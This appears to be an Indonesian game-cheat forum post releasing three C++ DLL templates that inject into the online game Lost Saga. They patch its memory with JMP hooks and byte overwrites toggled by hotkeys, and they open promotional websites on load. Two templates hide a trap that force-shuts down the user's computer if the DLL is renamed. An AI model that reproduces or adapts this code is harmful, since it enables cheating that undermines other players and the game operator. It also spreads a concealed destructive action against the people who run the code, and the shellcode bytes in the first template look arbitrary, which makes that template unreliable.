Release Base Lost Saga Full Free






Base ASM

Code:
#include <windows.h>

DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");//Modul Gamenya
DWORD hookaddy = dwPB + 0x; // Masukin Offset Agan
DWORD addy2 = hookaddy+ 0x5; // Teknik Jump Offset Ke ASM Agar Work ^_^
int loop = 50; // Loopnya Jangan di Ganti

// Deklarasi Byte ASM [ Bukan Byte String ]
__declspec(naked) void CodeCave() // On Keys
{
__asm
{
inc ecx
add [eax],al
jmp addy2;
}
}
__declspec(naked) void CodeCave2() // Off Keys
{
__asm
{
dec ebp
inc ecx
pop eax
pop edi
dec eax
push eax
pop edi
jmp addy2
}
}

void CopyBuffer(BYTE *Buffer, int Size, DWORD *Address)
{
DWORD pPrevious = 0;
VirtualProtect(Address, Size, PAGE_EXECUTE_READWRITE, &pPrevious);
memcpy(Address, Buffer, Size);
VirtualProtect(Address, Size, pPrevious, &pPrevious);
}

void SetupHook(DWORD Function, DWORD Hook, int Size)
{
Hook = Hook - Function - 5;
BYTE bHook[4];
memcpy(bHook,(void*)&Hook,4);
BYTE Buffer[10];
memset(Buffer,0x90,10);
Buffer[0] = 0xE9;
Buffer[1] = bHook[0];
Buffer[2] = bHook[1];
Buffer[3] = bHook[2];
Buffer[4] = bHook[3];
CopyBuffer(Buffer, Size, (DWORD*)Function);
}

DWORD WINAPI dwMainThread(LPVOID)
{ while (1) {

if (GetAsyncKeyState(VK_INSERT)&1) { // On Key Settings
MessageBeep(MB_ICONINFORMATION);
SetupHook(hookaddy,(DWORD)CodeCave,5);
}
if (GetAsyncKeyState(VK_DELETE)&1) { // Off Key Settings
MessageBeep(MB_ICONINFORMATION);
SetupHook(hookaddy,(DWORD)CodeCave2,5);
return 0;
}
Sleep(10);
}

}
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
DisableThreadLibraryCalls(hDll);
if ( dwReason == DLL_PROCESS_ATTACH )
{
MessageBox(0, "Created by aaNkz", "Notice", MB_ICONINFORMATION );
MessageBox(0, "Update 2 Agustus 2014", "Notice", MB_ICONINFORMATION );
MessageBox(0, "Not For Share", "aaNkz", MB_ICONINFORMATION );
system("start http://www.chibi-cyber.com/");
system("start http://www.facebook.com/44Bkz");
CreateThread(NULL, NULL, dwMainThread, NULL, NULL, NULL);
}
return TRUE;
}


Base Auto On

Code:
//===================================//
//Name : Base LostSaga Fullhack
//Created by : Willy Nozen "aaNkzTeeM"
//Thanks : All Member C3
//Notice !! : Only for C3
//===================================//

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

//-------------=| Offset aaNkzTeeM |=-------------//
#define aaNkzTeeM1 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM2 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM3 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM4 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM5 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM6 0x // Masukin Offset Mu Dek :v
#define aaNkzTeeM7 0x // Masukin Offset Mu Dek :v
//-------------=| Offset aaNkzTeeM |=-------------//


LPTSTR ModulGame1 = "lostsaga.exe";
LPTSTR ModulGame2 = "io3DEngine.dll";



void Patch(void *adr, void *ptr, int size)

{

DWORD OldProtection;

VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);

memcpy(adr,ptr,size);

VirtualProtect(adr,size,OldProtection, &OldProtection);

}

void WritePointer(unsigned long ulBase, int iOffset, int iValue)

{

if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))

{

if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))

{

*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;

}

}

}



DWORD WINAPI MemPacth(LPVOID param)

{



while(1)
{

//========== Auto On ==========//
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM1;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM2;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM3;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM4;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM5;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM6;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
adrMin1 = dwPB + (DWORD)aaNkzTeeM7;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00", 2);
}
Sleep(5);
}
return (0);
}
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved ) {
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hDll);
if (dwReason == DLL_PROCESS_ATTACH) {
system("start http://www.chibi-cyber.com/");
system("start http://www.facebook.com/44Bkz");
MessageBox(0, "Thank's To : \nCheat Engine\nFlexHex\nCeTiga", "Notice",MB_ICONINFORMATION | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Fitur Auto On ", "Information",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "aaNkzTeeM ", "Creator",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Jangan ResHack Ya Dek :)", "Perhatian!",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Not for Sale, jika dijual bilang penipu", "aaNkzTeeM",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MemPacth, 0, 0, 0);

char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "aaNkzTeeM.dll") <= 0) {
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);
}
}
else if(dwReason == DLL_PROCESS_DETACH) {
}
}
return TRUE;{
}
}

Base ON/OF

Code:
//===================================//
//Name : Base LostSaga Fullhack
//Created by : Willy Nozen "aaNkzTeeM"
//Thanks : All Member C3
//Notice !! : Only for C3
//===================================//

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

//============ OFFSET ============
#define aaNkzTeeM1 0x
#define aaNkzTeeM2 0x
#define aaNkzTeeM3 0x
#define aaNkzTeeM4 0x
#define aaNkzTeeM5 0x
//============ OFFSET ============


LPTSTR ModulGame = "lostsaga.exe";



void Patch(void *adr, void *ptr, int size)

{

DWORD OldProtection;

VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);

memcpy(adr,ptr,size);

VirtualProtect(adr,size,OldProtection, &OldProtection);

}

void WritePointer(unsigned long ulBase, int iOffset, int iValue)

{

if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))

{

if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))

{

*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;

}

}

}



void SagaHacy()

{



while(1)
{

//========== Fiture 1 ==========//
if (GetAsyncKeyState(VK_F1)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM1;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x0\x0\x0", 3); // Jangan di ganti Agar WORK
}

}
//========== Fiture 2 ==========//
if (GetAsyncKeyState(VK_F2)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM2;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x0\x0\x0", 3);// Jangan di ganti Agar WORK
}

}

//========== Fiture 3 ==========//
if (GetAsyncKeyState(VK_F3)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM3;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}

}

//========== Fiture 4 ==========//
if (GetAsyncKeyState(VK_F4)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM4;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}

}

//========== Fiture 5 ==========//
if (GetAsyncKeyState(VK_F5)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)aaNkzTeeM5;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}

}

Sleep(100); //Jangan di ganti , Agar Hack Shield


}



}

BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {

DisableThreadLibraryCalls(hDll);

if(callReason == DLL_PROCESS_ATTACH) {

system("start http://www.chibi-cyber.com/");
system("start http://www.facebook.com/44Bkz");
MessageBox(0, "Thank's To : \nCheat Engine\nFlexHex\nCeTiga", "Notice",MB_ICONINFORMATION | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "aaNkzTeeM ", "Creator",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Jangan ResHack Ya Dek :)", "Perhatian!",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Not for Sale, jika dijual bilang penipu", "aaNkzTeeM",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SagaHacy,0, 0, 0);



char strDLLName [_MAX_PATH];

GetModuleFileName(hDll, strDLLName , _MAX_PATH);

if (strstr(strDLLName, "aaNkzTeeM.dll") <= 0) {
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR

}



}


}


Bisa Di Build Di MSVC+ Dan Dev C+

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